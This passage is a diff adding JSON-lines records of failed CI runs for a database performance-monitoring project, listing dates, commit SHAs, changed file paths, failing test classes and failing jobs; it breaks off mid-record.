+{"date":"2026-09-08","head_sha":"52aabbdf74646007a9ead98a94ad99b46d081f1c","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorStallProbeStoreTests.cs","Darling/Darling.Tests/CollectorStallProbeViewerGateTests.cs","Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingRetentionTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/OperatorRemediationFlowTests.cs","Darling/Darling.Tests/OperatorRemediationGateTests.cs","Darling/Darling.Tests/PlanForceActionStoreTests.cs","Darling/Darling.Tests/PostgresTargetConfigTests.cs","Darling/Darling.Tests/RegisteredServerSettingDriftTests.cs","Darling/Darling.Tests/RemediationCredentialRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs","Darling/PerformanceMonitor.Darling.Service/MonitoredServerConnection.cs","Darling/PerformanceMonitor.Darling.Service/PgPlanForceActionStore.cs","Darling/PerformanceMonitor.Darling.Service/PlanForceBot.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/tools/provision-roles.sql","Lite.Tests/OperatorRemediationLiteDivergencePinTests.cs","PerformanceMonitor.Analysis/ForcePlanBotPolicy.cs","PerformanceMonitor.Analysis/OperatorRemediationFlow.cs","PerformanceMonitor.Analysis/OperatorRemediationGate.cs"],"failed_classes":["Darling.Tests.RegisteredServerSettingDriftTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-08","head_sha":"455aefc3501c4441acb9bf05cded3aa49b659f37","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingMcpStoreMetricsToolsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-08","head_sha":"b8ae88ab2dea213b09adfb12d62b8f7806db778f","event":"push","changed_files":["Darling/Darling.Tests/CollectorStallProbeStoreTests.cs","Darling/Darling.Tests/CollectorStallProbeViewerGateTests.cs","Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingRetentionTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/OperatorRemediationFlowTests.cs","Darling/Darling.Tests/OperatorRemediationGateTests.cs","Darling/Darling.Tests/PlanForceActionStoreTests.cs","Darling/Darling.Tests/PostgresTargetConfigTests.cs","Darling/Darling.Tests/RegisteredServerSettingDriftTests.cs","Darling/Darling.Tests/RemediationCredentialRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs","Darling/PerformanceMonitor.Darling.Service/MonitoredServerConnection.cs","Darling/PerformanceMonitor.Darling.Service/PgPlanForceActionStore.cs","Darling/PerformanceMonitor.Darling.Service/PlanForceBot.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Service/darling.sample.json","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Darling/tools/provision-roles.sql","Lite.Tests/OperatorRemediationLiteDivergencePinTests.cs","Lite/Analysis/Recommendations/LiteRecommendationItem.cs","Lite/Analysis/Recommendations/LiteRecommendationsViewModel.cs","Lite/Controls/RecommendationsTab.xaml.cs","PerformanceMonitor.Analysis/ForcePlanBotPolicy.cs","PerformanceMonitor.Analysis/OperatorRemediationFlow.cs","PerformanceMonitor.Analysis/OperatorRemediationGate.cs"],"failed_classes":["Darling.Tests.TimescaleSupportTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-08","head_sha":"8931e0a761f3c9c657390f7842287912b19ae8dc","event":"pull_request","changed_files":["Darling/Darling.Tests/CompressionClearanceWatchTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-08","head_sha":"4442d28b0bdc3e978cc4b5142ebbb2190dea51c6","event":"pull_request","changed_files":["Darling/Darling.Tests/RefreshCeilingStalenessTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests","Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-08","head_sha":"11d610329cf955d7a85988f4ededd0efcebda619","event":"push","changed_files":["Darling/Darling.Tests/RefreshCeilingProvenancePinTests.cs","Darling/Darling.Tests/RefreshCeilingStalenessTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Lite.Tests.CrossAppGuardCiGateTests"],"failed_jobs":["build"]}
+{"date":"2026-09-09","head_sha":"89f49f5a5f57d08f104bae71a8f1adc459853d71","event":"pull_request","changed_files":["Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Mcp/McpJobTools.cs","Lite/Mcp/McpObjectStatsTools.cs","Lite/Mcp/McpPlanCorrectionTools.cs","Lite/Mcp/McpPvsTools.cs","Lite/Mcp/McpServerLocalWindow.cs"],"failed_classes":["Darling.Tests.McpPayloadClockFrameDisciplineTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-09","head_sha":"b7c622ac9bde644a6ab50f344f362731e7ab9080","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreFetchProbeLivePostgresTests.cs","Darling/Darling.Tests/QueryStorePlanFetchTests.cs","Darling/Darling.Tests/QueryStoreTouchGuardSingleSourceTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreLivenessTouchGuard.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStorePlanMap.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreTextStore.cs"],"failed_classes":["Darling.Tests.DarlingDeployRollbackRetentionTests"],"failed_jobs":["build"]}
+{"date":"2026-09-09","head_sha":"7e696667e77211df9484c488200035ecb7e059aa","event":"pull_request","changed_files":["Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Mcp/McpJobTools.cs","Lite/Mcp/McpObjectStatsTools.cs","Lite/Mcp/McpPlanCorrectionTools.cs","Lite/Mcp/McpPvsTools.cs","Lite/Mcp/McpServerLocalWindow.cs"],"failed_classes":["Darling.Tests.DarlingMcpObjectStatsToolsSurfaceAndSqlTests","Darling.Tests.DarlingMcpPlanCorrectionToolsTests","Darling.Tests.DarlingMcpPvsToolsTests","Darling.Tests.IndexUsageTruncationTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-09","head_sha":"038366d4fce56bed40f318801165fb23c54f4558","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingPgReadSqlParsesLiveTests.cs","Darling/Darling.Tests/StoreSqlClockDisciplineTests.cs"],"failed_classes":["Lite.Tests.CrossAppGuardCiGateTests"],"failed_jobs":["build"]}
+{"date":"2026-09-09","head_sha":"c849c9f134c34e84826c15ac24f2d6b85b033dab","event":"pull_request","changed_files":["Lite.Tests/EntraCredentialSelectionModeGateTests.cs","Lite.Tests/EntraCredentialSelectionOrderingTests.cs","Lite.Tests/EntraCredentialSelectionTests.cs","Lite/Helpers/EntraCredentialSelection.cs","Lite/Services/ServerManager.cs","Lite/Windows/AddServerDialog.xaml.cs","README.md"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build"]}
+{"date":"2026-09-09","head_sha":"b3d65a3f8686f1fb530d9fe1f7965bdb6613c9a5","event":"pull_request","changed_files":["Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Mcp/McpJobTools.cs","Lite/Mcp/McpObjectStatsTools.cs","Lite/Mcp/McpPlanCorrectionTools.cs","Lite/Mcp/McpPvsTools.cs","Lite/Mcp/McpServerLocalWindow.cs"],"failed_classes":["Darling.Tests.ConsumedTimestampFrameDisciplineTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-09","head_sha":"160cf82a247aa08021adf115383926619f4c66da","event":"pull_request","changed_files":["Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Mcp/McpJobTools.cs","Lite/Mcp/McpObjectStatsTools.cs","Lite/Mcp/McpPlanCorrectionTools.cs","Lite/Mcp/McpPvsTools.cs","Lite/Mcp/McpServerLocalWindow.cs"],"failed_classes":["Darling.Tests.ConsumedTimestampFrameDisciplineTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-09","head_sha":"0ed7cb858dc05624f1eb388d07ece82a27c263e0","event":"pull_request","changed_files":[".claude/skills/release-checklist/SKILL.md",".github/workflows/build.yml",".github/workflows/check-version-bump.yml",".github/workflows/nightly.yml","Darling/Darling.Tests/ProductVersionDeclarationTests.cs","Darling/PerformanceMonitor.Darling.Service/PerformanceMonitor.Darling.Service.csproj","Darling/PerformanceMonitor.Darling.Viewer/PerformanceMonitor.Darling.Viewer.csproj","Directory.Build.props","Lite/PerformanceMonitorLite.csproj","PerformanceMonitor.Common/Services/UpdateCheckService.cs","build-dashboard.cmd","build-lite.cmd","deprecated/Dashboard/Dashboard.csproj","deprecated/Installer.Core/Installer.Core.csproj","deprecated/Installer/PerformanceMonitorInstaller.csproj","package-release.cmd"],"failed_classes":["Lite.Tests.CrossAppGuardCiGateTests"],"failed_jobs":["build"]}
+{"date":"2026-09-09","head_sha":"3c76c11b4b53d998d93f39324efbc305643867ea","event":"pull_request","changed_files":["Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/McpPayloadClockFrameDisciplineTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingJobReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Mcp/McpJobTools.cs","Lite/Mcp/McpObjectStatsTools.cs","Lite/Mcp/McpPlanCorrectionTools.cs","Lite/Mcp/McpPvsTools.cs","Lite/Mcp/McpServerLocalWindow.cs"],"failed_classes":["Darling.Tests.ConsumedTimestampFrameDisciplineTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-09","head_sha":"d6da0314eaf991e5a04685b9a9f5cb3b7cbe4d68","event":"pull_request","changed_files":["Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/ViewerClockRendererArithmeticTests.cs","Darling/Darling.Tests/ViewerQueriesTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Deadlock.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemHistory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCorrection.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QuerySnapshots.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RunningJobs.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerHistoryRows.cs","Lite.Tests/ServerClockRendererArithmeticTests.cs","Lite/Services/LocalDataService.Blocking.cs","Lite/Services/LocalDataService.JobHistory.cs","Lite/Services/LocalDataService.PlanCorrection.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.RunningJobs.cs","Lite/Services/ServerTimeHelper.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-09","head_sha":"c6bcbae7d8f07bb0bb7ddc0f95ed71df5625d7aa","event":"pull_request","changed_files":["Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Deadlock.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QuerySnapshots.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStoreRegressions.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RunningJobs.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerHistoryRows.cs","Lite/Services/LocalDataService.Blocking.cs","Lite/Services/LocalDataService.PlanCorrection.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.RunningJobs.cs","Lite/Services/ServerTimeHelper.cs"],"failed_classes":["Darling.Tests.ConsumedTimestampFrameDisciplineTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-09","head_sha":"5b0518b0242a0f25309596bff916345066c689d5","event":"pull_request","changed_files":["Darling/Darling.Tests/CSharpMemberMap.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-09","head_sha":"7b64070c982d28d099d82d5a11de44730cc7abac","event":"pull_request","changed_files":["CHANGELOG.md"],"failed_classes":["Darling.Tests.DarlingDeployRollbackRetentionTests"],"failed_jobs":["Darling whole-tree guards"]}
+{"date":"2026-09-09","head_sha":"91cb1fb7226690c7326d6842e97d221e61b4e8a5","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorStateContractTests.cs","Darling/Darling.Tests/DarlingPgIndexBloatNanLivePostgresTests.cs","Darling/Darling.Tests/DarlingPgIndexBloatRotationReadLivePostgresTests.cs","Darling/Darling.Tests/MigrationDataMovingRungCensusPins.cs","Darling/Darling.Tests/PgExtensionDependencyContractTests.cs","Darling/Darling.Tests/PgIndexBloatBudgetLivePostgresTests.cs","Darling/Darling.Tests/PgIndexBloatEstimateRungTests.cs","Darling/Darling.Tests/PgRotationCursorPruneLivePostgresTests.cs","Darling/Darling.Tests/RemediationCredentialRungTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexTools.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgIndexBloatReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Darling/README.md","Lite.Tests/PgIndexBloatCollectorDefinitionTests.cs","PerformanceMonitor.Collectors/PgIndexBloatCollector.cs","PerformanceMonitor.Collectors/PgPerDatabaseCollectorState.cs","docs/postgres-first-target-runbook.md"],"failed_classes":["Lite.Tests.DefaultTraceEventsCollectorDefinitionTests","Lite.Tests.PgIndexBloatCollectorDefinitionTests"],"failed_jobs":["build"]}
+{"date":"2026-09-10","head_sha":"f28452c053d445321e12577fbc4d52fe5716f8bd","event":"pull_request","changed_files":["CHANGELOG.md","Directory.Build.props","README.md"],"failed_classes":["Darling.Tests.MigrationUpgradeLadderLiveTests"],"failed_jobs":["build"]}
+{"date":"2026-09-10","head_sha":"1d4dbcaec03c8f40a62e32698398c242808088d5","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorRunnerConnectionEngineTests.cs","Darling/Darling.Tests/ReadmeDerivedCountPinTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgStatementTools.cs","Darling/README.md"],"failed_classes":["Lite.Tests.AuroraOnlySqlIsGatedTests"],"failed_jobs":["build"]}
+{"date":"2026-09-10","head_sha":"565b89dd45c5d44db9f00fa5871482e67c2d2daa","event":"pull_request","changed_files":["CHANGELOG.md","Directory.Build.props","README.md"],"failed_classes":["Darling.Tests.MigrationUpgradeLadderLiveTests"],"failed_jobs":["build"]}
+{"date":"2026-09-10","head_sha":"1e1c66bd144edcce9544a6bec88e00e1cee3ff8b","event":"pull_request","changed_files":["CHANGELOG.md","Directory.Build.props","README.md"],"failed_classes":["Darling.Tests.MigrationUpgradeLadderLiveTests"],"failed_jobs":["build"]}
+{"date":"2026-09-11","head_sha":"f5e2f565551a22a4d7c94f69ce60accf059a94db","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingPgIndexBloatCoverageLivePostgresTests.cs","Darling/Darling.Tests/PgIndexBloatCoverageTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgIndexBloatReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs","PerformanceMonitor.Collectors/PgIndexBloatCoverage.cs"],"failed_classes":["Darling.Tests.DarlingPgReadSqlParsesLiveTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-11","head_sha":"132b7ee191c3ae276e6bff7358209fd184a525f5","event":"push","changed_files":["Darling/Darling.Tests/DarlingPgIndexBloatCoverageLivePostgresTests.cs","Darling/Darling.Tests/DarlingPgReadSqlParsesLiveTests.cs","Darling/Darling.Tests/PgIndexBloatCoverageTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/Darling.Tests/TsqlConventionGuardTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgIndexTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgIndexBloatReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs","PerformanceMonitor.Collectors/PgIndexBloatCoverage.cs"],"failed_classes":["Darling.Tests.DarlingPgIndexBloatCoverageLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-11","head_sha":"ef216f63d7822d64cf4eb9042bfc96d35f174691","event":"pull_request","changed_files":["Darling/Darling.Tests/FleetCardPostgresCpuTests.cs","Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs","Darling/Darling.Tests/PgIndexBloatEstimateRungTests.cs","Darling/Darling.Tests/ServerHealthClassifierTests.cs","Darling/Darling.Tests/UnmeasuredMetricsAreNotHealthyTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/fleet.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Collectors/PgCpuUtilizationCollector.cs","PerformanceMonitor.Common/FleetCpuSource.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["Darling.Tests.DarlingPgIndexBloatCoverageLivePostgresTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.FleetCardPostgresCpuLivePostgresTests","Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-11","head_sha":"4044fe11ba1a89a4376b685dcd2bcd9951f56447","event":"pull_request","changed_files":["Darling/Darling.Tests/FleetCardPostgresCpuLivePostgresTests.cs","Darling/Darling.Tests/FleetCardPostgresCpuTests.cs","Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs","Darling/Darling.Tests/PgIndexBloatEstimateRungTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/ServerHealthClassifierTests.cs","Darling/Darling.Tests/UnmeasuredMetricsAreNotHealthyTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/fleet.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Collectors/PgCpuUtilizationCollector.cs","PerformanceMonitor.Common/FleetCpuSource.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["Darling.Tests.DarlingPgIndexBloatCoverageLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-11","head_sha":"81c136a724e74c270fde5b58b78e93c2b9a9bc59","event":"pull_request","changed_files":["Darling/Darling.Tests/FleetCardPostgresCpuLivePostgresTests.cs","Darling/Darling.Tests/FleetCardPostgresCpuTests.cs","Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs","Darling/Darling.Tests/PgIndexBloatEstimateRungTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/ServerHealthClassifierTests.cs","Darling/Darling.Tests/UnmeasuredMetricsAreNotHealthyTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/fleet.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgCpuUtilizationReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Collectors/PgCpuUtilizationCollector.cs","PerformanceMonitor.Common/FleetCpuSource.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["Darling.Tests.DarlingPgIndexBloatCoverageLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-11","head_sha":"1f1d465e0c41c6eb67309e24f27ba5ceabe0ec77","event":"pull_request","changed_files":["Darling/Darling.Tests/FleetCardPostgresCpuLivePostgresTests.cs","Darling/Darling.Tests/FleetCardPostgresCpuTests.cs","Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs","Darling/Darling.Tests/PgIndexBloatEstimateRungTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/ServerHealthClassifierTests.cs","Darling/Darling.Tests/UnmeasuredMetricsAreNotHealthyTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgCpuUtilizationTools.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/fleet.js","Darling/P